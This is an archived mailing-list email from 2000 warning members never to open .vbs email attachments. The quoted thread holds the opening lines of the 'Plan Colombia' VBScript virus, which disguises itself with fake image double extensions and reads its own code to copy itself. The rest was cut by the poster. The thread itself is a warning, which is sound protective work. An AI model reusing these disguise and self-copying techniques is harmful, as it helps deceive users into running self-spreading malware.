X-OldHeader: From harris@skolar.com-DeleteThis Fri Oct 27 15:39:07 2000 Return-Path: <harris@skolar.com-DeleteThis> Received: from opus.labs.agilent.com (root@opus.labs.agilent.com-DeleteThis [130.29.244.179]) by jr.labs.agilent.com (8.9.3 (PHNE_18979)/8.9.3 AgilentLabs Workstation) with ESMTP id PAA08398 for <wind_talk_ls@jr.labs.agilent.com-DeleteThis>; Fri, 27 Oct 2000 15:39:07 -0700 (PDT) Received: from msgbas1.cos.agilent.com (msgbas1.cos.agilent.com [130.29.152.58]) by opus.labs.agilent.com (8.9.3 (PHNE_18979)/8.9.3 AgilentLabs Workstation) with ESMTP id PAA00456 for <wind_talk@opus.labs.agilent.com-DeleteThis>; Fri, 27 Oct 2000 15:39:07 -0700 (PDT) Received: from femail4.sdc1.sfba.home.com (femail4.sdc1.sfba.home.com [24.0.95.84]) by msgbas1.cos.agilent.com (Postfix) with ESMTP id 3042F2A3 for <wind_talk@opus.labs.agilent.com-DeleteThis>; Fri, 27 Oct 2000 16:39:05 -0600 (MDT) Received: from skolar.com ([24.19.156.101]) by femail4.sdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with ESMTP id <20001027223746.IIKH26316.femail4.sdc1.sfba.home.com@skolar.com-DeleteThis> for <wind_talk@opus.labs.agilent.com-DeleteThis>; Fri, 27 Oct 2000 15:37:46 -0700 Message-ID: <327939BB.6982D753@skolar.com-DeleteThis> Date: Thu, 31 Oct 1996 15:43:55 -0800 From: Greg Harris <harris@skolar.com-DeleteThis> Organization: Skolar X-Mailer: Mozilla 4.72 [en] (Win98; I) X-Accept-Language: en To: wind_talk@opus.labs.agilent.com-DeleteThis Subject: Re: That stupid virus etc. References: <001301c04048$4d5f7b60$73452a3f@computer>
To anyone who doesn't know this.... you really should NEVER open a .vbs file.
This .vbs file is not an exceptional case. Opening one is as close to 100%
chance of executing something malicious as you can get. It can execute anything
on your systsem; fun commands such as: 'format c:'. Instead of making a .exe
which is more obvious to users what power it has on your system, people will
create a .vbs file which can also execute code but most people don't know what
it is and become more trusting of it. Therefore, in actuality a .vbs file
coming through email is almost guaranteed to be bad. And as always: just
because it came from a friend doesn't mean that they knowingly sent it to you
and it's not malicious.
gh
Allen H Zimmermann wrote:
> Well, it got me. Any help out there????
> ----- Original Message -----
> From: "J.R. Seven" <seven@mechsys2.me.berkeley.edu-DeleteThis>
> To: "Multiple recipients of list WIND_TALK"
> <wind_talk@opus.labs.agilent.com-DeleteThis>
> Sent: Friday, October 27, 2000 11:57 AM
> Subject: Re: That stupid virus etc.
>
> >
> > Some Bozo wrote:
> > >
> > > VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES..
> > >
> >
> > Yep, it sure looks like a virus to me. Saved it on a Linux box which has
> > no Microbesoft stuff to infect, and looked at the file. Gee, doesn't it
> > make you want to run out and protest? (Sorry, guess I've been in Berkeley
> > too long.)
> >
> > JR
> >
> >
> >
> > > rem
> ============================================================================
> ===================
> > > rem "Plan Colombia" virus v1.0
> > > rem by Sand Ja9e Gr0w (www.colombia.com)
> > >
> > > rem Dedicated to all the people that want to be hackers or crackers, in
> Colombia
> > > rem This program is also a protest act against the violence and
> corruption that Colombia lives...
> > > rem I always wanting that all this finishes, I have said...
> > >
> > >
> > > rem Santa fe de Bogot?2000/09
> > > rem I dedicate to all you the song "GoodBye" of Andreas Bochelli
> > > rem
> ============================================================================
> =====================
> > >
> > >
> > > rem Thanks God..!
> > > rem A greeting for "Lina Mar?" from "Santa fe de Bogot?
> > > rem A greeting for "Tizo" from "Spain"
> > > rem And One kicked of tail to my friends, "eL ChE" and "ThE SpY"
> > >
> > > rem okay, ok...
> > > rem my baby start here...
> > >
> > > On Error Resume Next
> > > dim
> fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye
> > > eq=""
> > > ctr=0
> > >
> > > randomize
> > > numero = Int(Rnd * 3) + 1
> > > polye = ".GIF.vbs"
> > > If numero = 1 Then
> > > polye = ".BMP.vbs"
> > > Else
> > > If numero = 2 Then
> > > polye = ".JPG.vbs"
> > > End If
> > > End If
> > >
> > >
> > > polyn="\"&polyname(Int(Rnd * 5) + 4)&polye
> > >
> > > Set fso = CreateObject("Scripting.FileSystemObject")
> > > set file = fso.OpenTextFile(WScript.ScriptFullname,1)
> > > vbscopy=file.ReadAll
> > >
> > > [the rest of this stuff deleted, who wants to look at it anyway]
This archive was generated by hypermail 2b29 : Fri Sep 27 2002 - 12:24:51 PDT